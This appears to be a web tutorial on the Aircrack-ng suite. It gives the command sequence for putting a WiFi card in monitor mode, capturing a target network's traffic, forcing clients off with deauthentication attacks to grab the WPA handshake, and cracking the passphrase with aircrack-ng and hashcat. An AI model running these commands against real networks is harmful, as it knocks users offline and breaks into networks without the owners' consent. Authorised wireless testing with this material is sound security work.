Aircrack-ng Guide: Complete Wireless Security Assessment
A comprehensive guide to the Aircrack-ng suite for wireless security testing including monitor mode, packet capture, deauthentication attacks, WPA/WPA2 cracking, and WEP analysis.
The Swiss Army Knife of Wireless Security
Aircrack-ng is a complete suite of tools for assessing WiFi network security architecture. It provides capabilities across the entire wireless assessment workflow: monitoring (packet capture), attacking (deauthentication, rogue APs), testing (WEP and WPA/WPA2 PSK cracking), and analysis. Pre-installed on Kali Linux, it is the industry standard toolkit for understanding weaknesses in wireless security deployments.
Prerequisites
Aircrack-ng Suite Components
airmon-ng — Monitor Mode Control
# Check interfaces and enable monitor mode
airmon-ng
airmon-ng check kill
airmon-ng start wlan0
airmon-ng start wlan0 6 # Specific channel
airodump-ng — Packet Capture
# Basic AP discovery
airodump-ng wlan0mon
# Target specific AP
airodump-ng -c 6 --bssid AP_MAC -w capture wlan0mon
# 5GHz band
airodump-ng --band a wlan0mon
aireplay-ng — Packet Injection
# Deauthentication attack
aireplay-ng -0 5 -a AP_MAC -c CLIENT_MAC wlan0mon
# Fake authentication
aireplay-ng -1 0 -e NETWORK_SSID -a AP_MAC wlan0mon
aircrack-ng — Password Cracking
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
Practical Attack Workflow
# 1. Enable monitor mode
airmon-ng start wlan0
# 2. Discover networks
airodump-ng wlan0mon
# 3. Capture target traffic
airodump-ng -c 6 --bssid AP_MAC -w capture wlan0mon
# 4. Deauth client for handshake
aireplay-ng -0 2 -a AP_MAC -c CLIENT_MAC wlan0mon
# 5. Crack passphrase
aircrack-ng -w wordlist.txt capture-01.cap
Hashcat Integration
GPU-accelerated cracking is significantly faster than aircrack-ng's CPU implementation:
cap2hccapx capture-01.cap output.hccapx
hashcat -m 2500 output.hccapx /usr/share/wordlists/rockyou.txt
hashcat -m 2500 output.hccapx /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Common Mistakes
Best Practices
aircrack-ng capture.capRelated Tools
Related Articles
Summary
Aircrack-ng is the essential toolkit for wireless security assessment. From monitor mode to handshake capture and cracking, the suite provides all capabilities for thorough wireless testing. Success depends on compatible hardware, proper technique, and strong wordlists.
Knowledge Check
Frequently Asked Questions
Continue Learning
WPA2 Explained: Security Protocols and Vulnerabilities
An in-depth technical analysis of WPA2 wireless security protocol covering the four-way handshake, CCMP/AES encryption, known vulnerabilities including KRACK, and defensive configurations.
Wireless Security · AdvancedCaptive Portals: How WiFi Authentication Works
A technical examination of captive portal WiFi authentication including how portals work, common implementations, security weaknesses, bypass techniques, and secure deployment practices.
Wireless Security · AdvancedEvil Twin Attacks: Rogue Access Point Threats and Detection
An in-depth guide to evil twin (rogue AP) attacks covering how they work, deployment techniques, detection methods, and defensive strategies against WiFi credential harvesting.
Wireless Security · AdvancedWireless Reconnaissance: Discovering WiFi Networks
Learn wireless reconnaissance techniques including network discovery, client enumeration, hidden SSID detection, signal mapping, and WiFi monitoring for security assessment.
Related Security Tools
Wifite
Learn how to use Wifite in Kali Linux with this beginner tutorial: check your WiFi adapter, install Wifite, run your first authorized WiFi audit, capture WPA handshakes and PMKIDs, and crack them with a wordlist. Includes Wifite commands, a worked example, troubleshooting for common errors, and how Wifite compares with Aircrack-ng.
Wireless AttacksAircrack-ng
Aircrack-ng is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security: monitoring, attacking, testing, and cracking.
Wireless AttacksReaver
Reaver implements a brute force attack against WiFi Protected Setup (WPS) registrar PINs to recover WPA/WPA2 passphrases.
Wireless AttacksFern WiFi Cracker
Fern WiFi Cracker is a GUI wireless security auditing tool that can crack WEP/WPA/WPS keys and run network-based attacks.